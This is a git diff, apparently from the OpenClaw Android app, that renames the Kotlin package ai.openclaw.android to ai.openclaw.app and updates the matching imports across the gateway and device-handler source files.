apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayEndpoint.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayEndpoint.kt index 9a301060282..0903ddaa93f 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayEndpoint.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayEndpoint.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway data class GatewayEndpoint( val stableId: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayProtocol.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayProtocol.kt similarity index 52% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayProtocol.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayProtocol.kt index da8fa4c6933..27b4566ac93 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayProtocol.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayProtocol.kt @@ -1,3 +1,3 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway const val GATEWAY_PROTOCOL_VERSION = 3 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewaySession.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewaySession.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewaySession.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewaySession.kt index 6f30f072ef8..aee47eaada8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewaySession.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewaySession.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.util.Log import java.util.Locale diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayTls.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayTls.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayTls.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayTls.kt index 0726c94fc97..20e71cc364a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayTls.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayTls.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.annotation.SuppressLint import kotlinx.coroutines.Dispatchers diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/InvokeErrorParser.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/InvokeErrorParser.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/InvokeErrorParser.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/InvokeErrorParser.kt index 7242f4a5533..dae516a901c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/InvokeErrorParser.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/InvokeErrorParser.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway data class ParsedInvokeError( val code: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/A2UIHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/A2UIHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/A2UIHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/A2UIHandler.kt index 4e7ee32b996..1938cf308dd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/A2UIHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/A2UIHandler.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.delay import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonArray diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/AppUpdateHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/AppUpdateHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/AppUpdateHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/AppUpdateHandler.kt index e54c846c0fb..f314d3330dc 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/AppUpdateHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/AppUpdateHandler.kt @@ -1,12 +1,12 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.app.PendingIntent import android.content.Context import android.content.Intent -import ai.openclaw.android.InstallResultReceiver -import ai.openclaw.android.MainActivity -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.InstallResultReceiver +import ai.openclaw.app.MainActivity +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewaySession import java.io.File import java.net.URI import java.security.MessageDigest diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CalendarHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CalendarHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CalendarHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CalendarHandler.kt index 357aed3b297..63563919e18 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CalendarHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CalendarHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.ContentResolver @@ -7,7 +7,7 @@ import android.content.ContentValues import android.content.Context import android.provider.CalendarContract import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.time.Instant import java.time.temporal.ChronoUnit import java.util.TimeZone diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraCaptureManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraCaptureManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CameraCaptureManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CameraCaptureManager.kt index 67241ef2ef7..a942c0baa70 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraCaptureManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraCaptureManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.annotation.SuppressLint @@ -28,7 +28,7 @@ import androidx.camera.video.VideoRecordEvent import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat.checkSelfPermission import androidx.core.graphics.scale -import ai.openclaw.android.PermissionRequester +import ai.openclaw.app.PermissionRequester import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.suspendCancellableCoroutine import kotlinx.coroutines.withTimeout diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraHandler.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CameraHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CameraHandler.kt index 0ee22849a62..3e7881f2625 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraHandler.kt @@ -1,9 +1,9 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.CameraHudKind -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.CameraHudKind +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.flow.MutableStateFlow import kotlinx.coroutines.withContext diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CanvasController.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CanvasController.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CanvasController.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CanvasController.kt index a051bb91c3b..9efb2a924d7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CanvasController.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CanvasController.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.graphics.Bitmap import android.graphics.Canvas @@ -20,7 +20,7 @@ import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonElement import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive -import ai.openclaw.android.BuildConfig +import ai.openclaw.app.BuildConfig import kotlin.coroutines.resume class CanvasController { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ConnectionManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ConnectionManager.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ConnectionManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ConnectionManager.kt index 021c5fe2ce6..d1593f4829a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ConnectionManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ConnectionManager.kt @@ -1,14 +1,14 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.os.Build -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.SecurePrefs -import ai.openclaw.android.gateway.GatewayClientInfo -import ai.openclaw.android.gateway.GatewayConnectOptions -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.gateway.GatewayTlsParams -import ai.openclaw.android.LocationMode -import ai.openclaw.android.VoiceWakeMode +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.SecurePrefs +import ai.openclaw.app.gateway.GatewayClientInfo +import ai.openclaw.app.gateway.GatewayConnectOptions +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewayTlsParams +import ai.openclaw.app.LocationMode +import ai.openclaw.app.VoiceWakeMode class ConnectionManager( private val prefs: SecurePrefs, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ContactsHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ContactsHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ContactsHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ContactsHandler.kt index 2f706b7a6b2..f203b044a7c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ContactsHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ContactsHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.ContentProviderOperation @@ -7,7 +7,7 @@ import android.content.ContentValues import android.content.Context import android.provider.ContactsContract import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonArray import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/DebugHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/DebugHandler.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/node/DebugHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/DebugHandler.kt index 2b0fc04e437..283d898b4f3 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/DebugHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/DebugHandler.kt @@ -1,9 +1,9 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.gateway.DeviceIdentityStore -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.gateway.DeviceIdentityStore +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.JsonPrimitive class DebugHandler( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/DeviceHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/DeviceHandler.kt index 4c7045b4608..a19890285a8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.app.ActivityManager @@ -15,8 +15,8 @@ import android.os.PowerManager import android.os.StatFs import android.os.SystemClock import androidx.core.content.ContextCompat -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.gateway.GatewaySession import java.util.Locale import kotlinx.serialization.json.JsonPrimitive import kotlinx.serialization.json.buildJsonArray diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceNotificationListenerService.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceNotificationListenerService.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/DeviceNotificationListenerService.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/DeviceNotificationListenerService.kt index 30522b6d755..1e9dc0408f6 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceNotificationListenerService.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceNotificationListenerService.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.app.Notification import android.app.NotificationManager diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/GatewayEventHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/GatewayEventHandler.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/node/GatewayEventHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/GatewayEventHandler.kt index 9c0514d8635..ebfd01b9253 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/GatewayEventHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/GatewayEventHandler.kt @@ -1,7 +1,7 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.SecurePrefs -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.SecurePrefs +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Job import kotlinx.coroutines.delay diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeCommandRegistry.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeCommandRegistry.kt similarity index 89% rename from apps/android/app/src/main/java/ai/openclaw/android/node/InvokeCommandRegistry.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/InvokeCommandRegistry.kt index b8ec77bfca9..9f7ee1a890a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeCommandRegistry.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeCommandRegistry.kt @@ -1,19 +1,19 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.protocol.OpenClawCalendarCommand -import ai.openclaw.android.protocol.OpenClawCanvasA2UICommand -import ai.openclaw.android.protocol.OpenClawCanvasCommand -import ai.openclaw.android.protocol.OpenClawCameraCommand -import ai.openclaw.android.protocol.OpenClawCapability -import ai.openclaw.android.protocol.OpenClawContactsCommand -import ai.openclaw.android.protocol.OpenClawDeviceCommand -import ai.openclaw.android.protocol.OpenClawLocationCommand -import ai.openclaw.android.protocol.OpenClawMotionCommand -import ai.openclaw.android.protocol.OpenClawNotificationsCommand -import ai.openclaw.android.protocol.OpenClawPhotosCommand -import ai.openclaw.android.protocol.OpenClawScreenCommand -import ai.openclaw.android.protocol.OpenClawSmsCommand -import ai.openclaw.android.protocol.OpenClawSystemCommand +import ai.openclaw.app.protocol.OpenClawCalendarCommand +import ai.openclaw.app.protocol.OpenClawCanvasA2UICommand +import ai.openclaw.app.protocol.OpenClawCanvasCommand +import ai.openclaw.app.protocol.OpenClawCameraCommand +import ai.openclaw.app.protocol.OpenClawCapability +import ai.openclaw.app.protocol.OpenClawContactsCommand +import ai.openclaw.app.protocol.OpenClawDeviceCommand +import ai.openclaw.app.protocol.OpenClawLocationCommand +import ai.openclaw.app.protocol.OpenClawMotionCommand +import ai.openclaw.app.protocol.OpenClawNotificationsCommand +import ai.openclaw.app.protocol.OpenClawPhotosCommand +import ai.openclaw.app.protocol.OpenClawScreenCommand +import ai.openclaw.app.protocol.OpenClawSmsCommand +import ai.openclaw.app.protocol.OpenClawSystemCommand data class NodeRuntimeFlags( val cameraEnabled: Boolean, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeDispatcher.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeDispatcher.kt similarity index 91% rename from apps/android/app/src/main/java/ai/openclaw/android/node/InvokeDispatcher.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/InvokeDispatcher.kt index 36b89eb2ec8..dc6eed7438d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeDispatcher.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeDispatcher.kt @@ -1,18 +1,18 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession -import ai.openclaw.android.protocol.OpenClawCalendarCommand -import ai.openclaw.android.protocol.OpenClawCanvasA2UICommand -import ai.openclaw.android.protocol.OpenClawCanvasCommand -import ai.openclaw.android.protocol.OpenClawCameraCommand -import ai.openclaw.android.protocol.OpenClawContactsCommand -import ai.openclaw.android.protocol.OpenClawDeviceCommand -import ai.openclaw.android.protocol.OpenClawLocationCommand -import ai.openclaw.android.protocol.OpenClawMotionCommand -import ai.openclaw.android.protocol.OpenClawNotificationsCommand -import ai.openclaw.android.protocol.OpenClawScreenCommand -import ai.openclaw.android.protocol.OpenClawSmsCommand -import ai.openclaw.android.protocol.OpenClawSystemCommand +import ai.openclaw.app.gateway.GatewaySession +import ai.openclaw.app.protocol.OpenClawCalendarCommand +import ai.openclaw.app.protocol.OpenClawCanvasA2UICommand +import ai.openclaw.app.protocol.OpenClawCanvasCommand +import ai.openclaw.app.protocol.OpenClawCameraCommand +import ai.openclaw.app.protocol.OpenClawContactsCommand +import ai.openclaw.app.protocol.OpenClawDeviceCommand +import ai.openclaw.app.protocol.OpenClawLocationCommand +import ai.openclaw.app.protocol.OpenClawMotionCommand +import ai.openclaw.app.protocol.OpenClawNotificationsCommand +import ai.openclaw.app.protocol.OpenClawScreenCommand +import ai.openclaw.app.protocol.OpenClawSmsCommand +import ai.openclaw.app.protocol.OpenClawSystemCommand class InvokeDispatcher( private val canvas: CanvasController, @@ -145,7 +145,7 @@ class InvokeDispatcher( OpenClawSystemCommand.Notify.rawValue -> systemHandler.handleSystemNotify(paramsJson) // Photos command - ai.openclaw.android.protocol.OpenClawPhotosCommand.Latest.rawValue -> photosHandler.handlePhotosLatest( + ai.openclaw.app.protocol.OpenClawPhotosCommand.Latest.rawValue -> photosHandler.handlePhotosLatest( paramsJson, ) diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/JpegSizeLimiter.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/JpegSizeLimiter.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/JpegSizeLimiter.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/JpegSizeLimiter.kt index d6018467e66..143a1292f2c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/JpegSizeLimiter.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/JpegSizeLimiter.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import kotlin.math.max import kotlin.math.min diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationCaptureManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationCaptureManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/LocationCaptureManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/LocationCaptureManager.kt index 87762e87fa9..86b059c243d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationCaptureManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationCaptureManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationHandler.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/node/LocationHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/LocationHandler.kt index c3f292f97a5..d925fd7eba7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationHandler.kt @@ -1,12 +1,12 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context import android.content.pm.PackageManager import android.location.LocationManager import androidx.core.content.ContextCompat -import ai.openclaw.android.LocationMode -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.LocationMode +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.TimeoutCancellationException import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/MotionHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/MotionHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/MotionHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/MotionHandler.kt index 52658f8efb6..bb11d6409ba 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/MotionHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/MotionHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context @@ -8,7 +8,7 @@ import android.hardware.SensorEventListener import android.hardware.SensorManager import android.os.SystemClock import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.time.Instant import kotlinx.coroutines.suspendCancellableCoroutine import kotlinx.coroutines.withTimeoutOrNull diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/NodeUtils.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/NodeUtils.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/node/NodeUtils.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/NodeUtils.kt index 5ba58c23860..587133d2a2c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/NodeUtils.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/NodeUtils.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.parseInvokeErrorFromThrowable +import ai.openclaw.app.gateway.parseInvokeErrorFromThrowable import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonElement import kotlinx.serialization.json.JsonNull diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/NotificationsHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/NotificationsHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/NotificationsHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/NotificationsHandler.kt index 755b20513b4..d6a1f9998cb 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/NotificationsHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/NotificationsHandler.kt @@ -1,7 +1,7 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonArray import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/PhotosHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/PhotosHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/PhotosHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/PhotosHandler.kt index e7f3debff06..ee05bda95a7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/PhotosHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/PhotosHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.ContentResolver @@ -12,7 +12,7 @@ import android.os.Bundle import android.provider.MediaStore import androidx.core.content.ContextCompat import androidx.core.graphics.scale -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.io.ByteArrayOutputStream import java.time.Instant import kotlin.math.max diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenHandler.kt similarity index 89% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ScreenHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ScreenHandler.kt index c63d73f5e52..ebbe6f415d6 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenHandler.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession class ScreenHandler( private val screenRecorder: ScreenRecordManager, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenRecordManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenRecordManager.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ScreenRecordManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ScreenRecordManager.kt index bb06d1200e4..bae5587c4cc 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenRecordManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenRecordManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import android.hardware.display.DisplayManager @@ -6,7 +6,7 @@ import android.media.MediaRecorder import android.media.projection.MediaProjectionManager import android.os.Build import android.util.Base64 -import ai.openclaw.android.ScreenCaptureRequester +import ai.openclaw.app.ScreenCaptureRequester import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.delay import kotlinx.coroutines.withContext @@ -18,13 +18,13 @@ class ScreenRecordManager(private val context: Context) { data class Payload(val payloadJson: String) @Volatile private var screenCaptureRequester: ScreenCaptureRequester? = null - @Volatile private var permissionRequester: ai.openclaw.android.PermissionRequester? = null + @Volatile private var permissionRequester: ai.openclaw.app.PermissionRequester? = null fun attachScreenCaptureRequester(requester: ScreenCaptureRequester) { screenCaptureRequester = requester } - fun attachPermissionRequester(requester: ai.openclaw.android.PermissionRequester) { + fun attachPermissionRequester(requester: ai.openclaw.app.PermissionRequester) { permissionRequester = requester } diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsHandler.kt similarity index 86% rename from apps/android/app/src/main/java/ai/openclaw/android/node/SmsHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/SmsHandler.kt index 30b7781009d..0c76ac24587 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsHandler.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession class SmsHandler( private val sms: SmsManager, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsManager.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/SmsManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/SmsManager.kt index d727bfd2763..3c5184b0247 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context @@ -11,7 +11,7 @@ import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive import kotlinx.serialization.json.jsonObject import kotlinx.serialization.encodeToString -import ai.openclaw.android.PermissionRequester +import ai.openclaw.app.PermissionRequester /** * Sends SMS messages via the Android SMS API. diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/SystemHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/SystemHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/SystemHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/SystemHandler.kt index ee794f7ac4e..2ec6ed56ad7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/SystemHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/SystemHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.app.NotificationChannel @@ -9,7 +9,7 @@ import android.os.Build import androidx.core.app.NotificationCompat 